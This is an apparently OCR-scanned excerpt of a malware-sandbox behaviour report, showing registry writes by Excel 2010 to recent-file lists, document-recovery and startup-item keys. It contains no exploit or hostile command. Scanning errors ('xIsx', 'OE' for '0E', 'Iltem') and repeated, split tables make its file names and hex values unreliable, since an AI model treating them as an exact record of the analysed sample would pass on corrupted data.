[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

N N = = = = = N

Count

Source
Address

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\ED394

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2020

Name

Item 20

ED394

Max Display

Max Display

Item 1

Iltem 2

Type

unicode

binary

dword

dword

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

04 00 00 00 A0 09 00 00 3A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 33 00 2E 00 36 00 38 00 33 00
2E 00 30 00 2E 00 73 00 68 00 65 00 65
00 74 00 2E 00 63 00 73 00 76 00 00 00
00 00 22 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00 70
00 70 00 44 00 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00 00
01 00 00 00 9E D5 1F 8B C2 BF D6 01
94 D3 OE 00 94 D3 OE 00 00 00 00 00 B8
02 00 00 OA 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8878498721 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3771420242.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

2

1

Source
Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2020

Name

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Iltem 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic ED48E binary 04 00 00 00 A0 09 00 00 30 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\ED48E 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 6E 68 ED
8E C2 BF D6 01 8E D4 OE 00 8E D4 OE
00 00 00 00 00 B8 02 00 00 66 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic ED549 binary 04 00 00 00 A0 09 00 00 3D 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\ED549 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 43 00 6F 00 6D 00 70
00 6C 00 61 00 69 00 6E 00 74 00 2D 00
43 00 6F 00 70 00 79 00 5F 00 31 00 39
00 38 00 34 00 36 00 33 00 32 00 38 00
3100 31 00 5F 00 31 00 31 00 31 00 30
00 32 00 30 00 32 00 30 00 2E 00 78 00
6C 00 73 00 00 00 00 00 17 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 01 00 00 00 01 00 00
00 91 97 07 8F C2 BF D6 01 49 D5 OE
00 49 D5 OE 00 00 00 00 00 B8 02 00 00
6E 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00
HKEY_CURRENT_USER\Software\Mic ei8 binary 65 69 38 00 A0 09 00 00 02 00 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 A0 00 00 00 01 00 00 00 4E 00

00 00 46 00 00 00 63 00 6F 00 6D 00 70
00 6C 00 61 00 69 00 6E 00 74 00 2D 00
63 00 6F 00 70 00 79 00 5F 00 31 00 39

00 38 00 34 00 36 00 33 00 32 00 38 00

3100 31 00 5F 00 31 00 31 00 31 00 30

00 32 00 30 00 32 00 30 00 2E 00 78 00

6C 00 73 00 00 00 63 00 6F 00 6D 00 70
00 6C 00 61 00 69 00 6E 00 74 00 2D 00
63 00 6F 00 70 00 79 00 5F 00 31 00 39

00 38 00 34 00 36 00 33 00 32 00 38 00

3100 31 00 5F 00 31 00 31 00 31 00 30

00 32 00 30 00 32 00 30 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F3478 binary 04 00 00 00 A0 09 00 00 2A 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\F3478 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 7C 37
84 9D C2 BF D6 01 78 34 OF 00 78 34
OF 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8878498721 .xIsx
HKEY_CURRENT_USER\Software\Mic Item 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3771420242.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2020

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Iltem 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7TFEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

